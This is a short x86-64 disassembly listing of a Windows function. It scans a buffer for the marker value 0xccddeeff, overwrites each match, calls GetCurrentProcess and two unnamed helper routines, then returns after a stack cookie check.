mov rcx, rsi
nop word [rax + rax]
cmp dword [rcx], 0xccddeeff
jne 0x14001349e
mov dword [rcx], 1
inc ebx
inc rcx
mov eax, ebx
cmp rax, rdx
jb 0x140013490
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
xor r9d, r9d
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x20], 0xc8
call fcn.140012fb0
mov rcx, rax
call fcn.140012f90
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400168a0
add rsp, 0x280
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret